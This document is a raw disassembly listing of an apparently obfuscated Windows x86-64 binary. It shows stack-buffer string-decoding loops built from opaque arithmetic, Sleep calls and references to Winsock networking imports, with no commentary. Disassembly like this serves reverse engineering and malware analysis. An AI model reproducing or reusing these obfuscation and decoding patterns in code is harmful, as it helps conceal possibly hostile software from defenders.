sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x1400db4e4
lea ecx, [rdi - 0x1c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3c
dec rdi
inc rdi
jmp 0x1400db4e4
lea edx, [rdi + 0x42]
movzx eax, dl
and al, bl
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
movzx r10d, dil
jmp 0x1400dbe16
lea ecx, [rdi - 0x60]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
add r8, r9
jmp 0x1400dbed8
lea edx, [rdi - 2]
movzx eax, dl
and al, bl
mov ecx, 7
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400dbed8
lea edx, [rdi + 0x5c]
movzx eax, dl
and al, bl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400dbe9b
lea ecx, [rdi - 0x46]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x16
jmp 0x1400dbf79
lea edx, [rdi + 0x18]
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x150]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400db4e4
lea ecx, [rdi - 0x7d]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x6b
mov byte [rbp + rdi + 0x150], r11b
inc rdi
jmp 0x1400db4e4
lea ecx, [rdi - 0x1f]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x27
cmp r9, 0x400
jb 0x1400db900
lea ecx, [rdi + 0x46]
movzx eax, cl
and al, bl
mov edx, ntohl
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r11d, [rdx + rdx]
jmp 0x1400dbf3a
lea ecx, [rdi + 0x3f]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x47
cmp r8, 0x80
jae 0x1400dbdf7
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x1400dbcf9
lea edx, [rdi - 0xe]
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400db924
lea ecx, [rdi - 0x63]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4b
lea rax, [r8 + r9]
cmp rax, 0x40
je 0x1400dbe45
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x1400dbc0a
lea ecx, [rdi + 0x4d]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1b
jmp 0x1400db95f
lea ecx, [rdi - 0x22]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x12
movzx eax, byte [rbp + rdi + 0x150]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400db4e4
lea edx, [rdi + 0x3c]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400dbf79
lea ecx, [rdi - 0x66]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x36
jmp 0x1400dbe9b
lea edx, [rdi - 8]
movzx eax, dl
and al, bl
mov ecx, Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400dbed8
lea ecx, [rdi + 0x56]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5a
add r8, r9
jmp 0x1400dbed8
movzx r10d, dil
lea edx, [r10 - 0x4c]
movzx eax, dl
and al, bl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x1400dbe16
lea ecx, [rdi + 0x12]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7e
dec rdi
inc rdi
jmp 0x1400db4e4
lea ecx, [rdi + 0x70]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
inc r9
dec rdi
inc rdi
jmp 0x1400db4e4
lea edx, [rdi - 0x32]
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400dbf3a
lea rax, [r9 + 4]
cmp r8, rax
jae 0x1400dbb12
lea ecx, [rdi + 0x51]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x37
jmp 0x1400db9a8
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400dbb45
lea ecx, [rdi + 0x4a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 6
movzx eax, byte [rbp + rdi + 0x150]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400db4e4
inc rax
cmp r8, rax
jne 0x1400dbb66
lea ecx, [rdi + 0x30]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x50
jmp 0x1400dbed8
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400dbb90
lea edx, [rdi - 0x2e]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r8, r9
jmp 0x1400dbed8
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400dbbb7
movzx r10d, dil
lea ecx, [r10 + 0x74]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2c
jmp 0x1400dbe1c
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400dbbe4
lea edx, [rdi + 0x16]
movzx eax, dl
and al, bl
mov ecx, 0x33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x1400db4e4
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400db9a8
lea ecx, [rdi + 0x5a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x76
jmp 0x1400dbf3a
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400dbc2c
lea ecx, [rdi - 0x11]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x77
jmp 0x1400dbf3a
inc rax
cmp r8, rax
jne 0x1400dbc56
lea ecx, [rdi - 0x6f]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 9
inc r9
dec rdi
inc rdi
jmp 0x1400db4e4
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400dbc7e
lea ecx, [rdi + 0x33]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x65
dec rdi
inc rdi
jmp 0x1400db4e4
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400dbca0
lea ecx, [rdi + 0x19]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x51
jmp 0x1400dbed8
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400dbcc2
lea ecx, [rdi - 0x45]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1d
jmp 0x1400dbe9b
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400db95f
lea ecx, [rdi - 1]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 7
movzx eax, byte [rbp + rdi + 0x150]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400db4e4
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400dbd2c
lea ecx, [rdi - 0x6c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xc
movzx eax, byte [rbp + rdi + 0x150]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400db4e4
inc rax
cmp r8, rax
jne 0x1400dbd4d
lea ecx, [rdi + 0x36]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7a
jmp 0x1400dbf79
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400dbd74
lea edx, [rdi - 0x28]
movzx eax, dl
and al, bl
mov ecx, ntohl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400dbe9b
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400dbd9b
movzx r10d, dil
lea ecx, [r10 - 0x42]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x32
jmp 0x1400dbe1c
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400dbdc8
lea edx, [rdi + 0x60]
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x1400db4e4
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400db924
lea ecx, [rdi + 2]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xe
inc r9
dec rdi
inc rdi
jmp 0x1400db4e4
movzx r10d, dil
lea edx, [r10 - 0x18]
movzx eax, dl
and al, bl
add al, al
movzx r11d, byte [rbp + rdi + 0x150]
sub r11b, al
sub r11b, 0x58
add r11b, dl
add r11b, bl
add r10b, 0x39
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
add r10b, 0x71
add r10b, bl
add r10b, r11b
mov byte [rbp + rdi + 0x150], r10b
add r8, r9
jmp 0x1400dbed8
lea edx, [rdi - 0x76]
movzx eax, dl
and al, bl
mov ecx, Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400dbe9b
lea ecx, [rdi + 0x57]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x61
movzx eax, byte [rbp + rdi + 0x150]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400db4e4
lea ecx, [rdi + 0x13]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x7b
lea ecx, [rdi - 0x25]
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, 3
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0x150], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x1400dbf79
lea ecx, [rdi + 0x71]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x17
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400db4e4
lea ecx, [rdi - 0x75]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x33
dec rdi
inc rdi
jmp 0x1400db4e4
lea ecx, [rdi + 0x47]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0xf
jmp 0x1400dbf3a
lea ecx, [rdi + 3]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x15
lea ecx, [rdi - 0x69]
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x21
add cl, bl
mov byte [rbp + rdi + 0x150], cl
inc r9
dec rdi
inc rdi
jmp 0x1400db4e4
lea rcx, [rdi + r15]
movzx ebx, dl
and dl, cl
add dl, dl
movzx r11d, bl
sub r11b, dl
sub r11b, 0x13
add r11b, cl
lea ecx, [rdi + 0x2c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x34
add cl, bl
mov byte [rbp + rdi + 0x150], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x150]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400db4e4
lea rcx, [rdi + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r11d, [rcx + rdx]
add r11b, 0x5b
movzx eax, byte [rbp + rdi + 0x150]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400db4e4
add dil, 0x15
movzx eax, dil
and al, bl
add al, al
sub dil, al
lea r11d, [rbx + rdi]
add r11b, 0x6d
jmp 0x1400db4e0
add dil, 0x73
movzx eax, dil
and al, bl
add al, al
sub dil, al
lea r11d, [rbx + rdi]
sub r11b, 0x25
jmp 0x1400db4d0
lea rcx, [rbp + 0x1611fbc]
jmp 0x1400dc033
lea rcx, [rbp + 0x152ce0d]
jmp 0x1400dc033
lea rcx, [rbp + 0x150]
call fcn.140040a00
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400541b0
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rbp + 0x170], Ordinal_41
mov byte [rbp + 0x171], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x172], 4
mov byte [rbp + 0x173], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x174], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x175], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x176], 0x68
mov byte [rbp + 0x177], Ordinal_79
mov byte [rbp + 0x178], Ordinal_27
mov byte [rbp + 0x179], reloc.WS2_32.dll_select
mov byte [rbp + 0x17a], 6
mov byte [rbp + 0x17b], Ordinal_27
mov byte [rbp + 0x17c], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x17d], 0x81
xor eax, eax
mov qword [rbp + 0x17e], rax
mov byte [rbp + 0x186], al
movabs rsi, 0x4cc74853bd7191ed
movabs r14, 0xb3018af1a8fe2155
movabs r15, 0xe655d8fb3854b5c7
movzx r11d, byte [rbp + 0x3c0]
nop word [rax + rax]
mov r8, qword [0x1402e0428]
mov r9, qword [0x1402e0430]
nop
xor ebx, ebx
mov edi, ebx
cmp rdi, 0x17
jae 0x1400dcc18
movzx ebx, byte [rbp + rdi + 0x170]
mov rdx, rbx
nop dword [rax]
cmp r8, rdi
ja 0x1400dcc0f
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400dc14c
lea rcx, [rdi + rsi]
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
sub r11b, 0x7b
jmp 0x1400dc170
je 0x1400dcba5
inc rax
cmp r8, rax
je 0x1400dcb77
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400dcb58
nop dword [rax + rax]
cmp r9, rdi
ja 0x1400dcc06
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400dc198
lea ecx, [rdi + 0x71]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x17
jmp 0x1400dc1d1
je 0x1400dcb12
inc rax
cmp r8, rax
je 0x1400dcad2
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400dcab9
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400dca30
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400dca16
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400dc748
nop
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400dc728
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400dc701
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400dc6dd
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400dc6bd
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400dc69c
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400dc67e
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400dc65e
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400dc640
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400dc611
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400dc1e0
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x400]
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400dcbeb
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400dcbd0
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400dc3ce
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400dc3b1
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400dc394
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400dc5c4
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400dc57e
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400dc53d
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400dc519
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400dc1e0
lea r8, [r9 + 3]
lea r9, [r8 + 0x7a]
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400dc4ef
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400dc4d1
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400dc4b2
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400dc494
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400dc473
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400dc454
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400dc430
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400dc409
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400dc3ea
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400dc1e0
lea r8, [r9 + 6]
lea r9, [r8 + 0xa]
jmp 0x1400dc1e0
lea edx, [rdi - 0x51]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x37
add r11b, dl
jmp 0x1400dc1d1
lea edx, [rdi - 0x2b]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x2d
add r11b, dl
jmp 0x1400dc170
lea edx, [rdi - 5]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add dl, 0x23
add r11b, dl
jmp 0x1400dc116
lea edx, [rdi - 0x78]
movzx eax, bl
and al, dl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
movzx r10d, dil
jmp 0x1400dcb2c
lea edx, [rdi - 0x52]
movzx eax, bl
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x1400dc104
lea edx, [rdi - 0x2c]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x1400dc104
lea edx, [rdi - 6]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
movzx r10d, dil
jmp 0x1400dcaec
lea edx, [rdi + 0x20]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r8, r9
jmp 0x1400dcb8c
lea edx, [rdi + 0x46]
movzx eax, bl
and al, dl
mov ecx, ntohl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400dcb8c
lea edx, [rdi + 0x6c]
movzx eax, bl
and al, dl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
movzx r10d, dil
jmp 0x1400dca4a
lea edx, [rdi - 0x6e]
movzx eax, bl
and al, dl
mov ecx, 1
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400dca77
lea ecx, [rdi - 0x48]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 8
movzx eax, byte [rbp + rdi + 0x170]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400dc104
lea ecx, [rdi + 0x17]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x5f
mov byte [rbp + rdi + 0x170], r11b
inc rdi
jmp 0x1400dc104
lea edx, [rdi + 0x3d]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x55
add r11b, dl
cmp r9, 0x64
jb 0x1400dc52d
movzx r10d, dil
lea edx, [r10 + 0x6e]
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 4]
jmp 0x1400dcb2f
lea edx, [rdi + 0x63]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x4b
add r11b, dl
cmp r8, 3
jae 0x1400dc9d9
lea rcx, [r9 + 6]
cmp r8, rcx
jbe 0x1400dc92c
lea edx, [rdi - 0x16]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x66
jmp 0x1400dc552
lea edx, [rdi - 0x77]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x41
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x2a
je 0x1400dc9fc
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x1400dc86a
lea edx, [rdi + 0x79]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x4f
jmp 0x1400dc593
lea edx, [rdi - 0x5a]
movzx eax, bl
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x170]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400dc104
lea edx, [rdi - 0x34]
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400dca77
movzx r10d, dil
lea edx, [r10 - 0xe]
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400dca4a
lea edx, [rdi + 0x18]
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400dcb8c
lea edx, [rdi + 0x3e]
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r8, r9
jmp 0x1400dcb8c
movzx r10d, dil
lea edx, [r10 + 0x64]
movzx eax, bl
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400dcaec
lea edx, [rdi - 0x76]
movzx eax, bl
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x1400dc104
lea edx, [rdi - 0x50]
movzx eax, bl
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x1400dc104
movzx r10d, dil
lea edx, [r10 - 0x2a]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400dcb2c
lea rax, [r9 + 0x10]
cmp r8, rax
jae 0x1400dc76b
lea edx, [rdi - 0x13]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x7b
jmp 0x1400dc5d9
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400dc79e
lea ecx, [rdi - 0x1e]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x2e
movzx eax, byte [rbp + rdi + 0x170]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400dc104
inc rax
cmp r8, rax
jne 0x1400dc7c3
lea edx, [rdi - 0x44]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x24
add r11b, dl
jmp 0x1400dca77
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400dc7eb
movzx r10d, dil
lea edx, [r10 - 0x6a]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x1a
jmp 0x1400dca4a
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400dc810
lea ecx, [rdi + 0x4a]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 6
add r8, r9
jmp 0x1400dcb8c
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400dc839
movzx r10d, dil
lea edx, [r10 + 0x24]
movzx eax, bl
and al, dl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400dcaec
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400dc5dc
lea edx, [rdi - 2]
movzx eax, bl
and al, dl
mov ecx, 7
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x1400dc104
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400dc892
movzx r10d, dil
lea edx, [r10 + 0x53]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x45
jmp 0x1400dcb2c
inc rax
cmp r8, rax
jne 0x1400dc8b9
lea ecx, [rdi + 7]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x31
dec rdi
inc rdi
jmp 0x1400dc104
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400dc8de
lea ecx, [rdi - 0x45]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x1d
add r8, r9
jmp 0x1400dcb8c
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400dc900
lea ecx, [rdi - 0x6b]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x13
jmp 0x1400dcb8c
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400dc596
movzx r10d, dil
lea edx, [r10 + 0x6f]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 9
jmp 0x1400dca4a
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400dc95f
lea ecx, [rdi - 0x3c]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x5c
movzx eax, byte [rbp + rdi + 0x170]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400dc104
inc rax
cmp r8, rax
jne 0x1400dc986
movzx r10d, dil
lea edx, [r10 + 0x78]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x48
jmp 0x1400dca4a
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400dc9ae
movzx r10d, dil
lea edx, [r10 + 6]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x2a
jmp 0x1400dcaec
cmp r8, rcx
jne 0x1400dc555
lea ecx, [rdi - 0x46]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x16
inc r9
dec rdi
inc rdi
jmp 0x1400dc104
movzx r10d, dil
lea edx, [r10 + 0x48]
movzx eax, bl
and al, dl
movzx ecx, byte [rbp + rdi + 0x170]
sub cl, al
add cl, 4
lea r11d, [rcx + rcx]
jmp 0x1400dcaec
movzx r10d, dil
lea edx, [r10 + 0x22]
movzx eax, bl
and al, dl
mov ecx, 9
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x1400dca4a
lea edx, [rdi + 0x41]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x39
add r11b, dl
jmp 0x1400dca77
movzx r10d, dil
lea edx, [r10 + 0x67]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x2f
add r11b, dl
add r10b, 0xf
movzx eax, bl
and al, r10b
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x69
add cl, r10b
movzx eax, cl
mov byte [rbp + rdi + 0x170], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi - 4]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x170], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x170]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400dc104
lea ecx, [rdi - 0x73]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x25
jmp 0x1400dcb8c
movzx r10d, dil
lea edx, [r10 - 0x27]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x11
add r11b, dl
add r10b, 0x35
movzx eax, bl
and al, r10b
add al, al
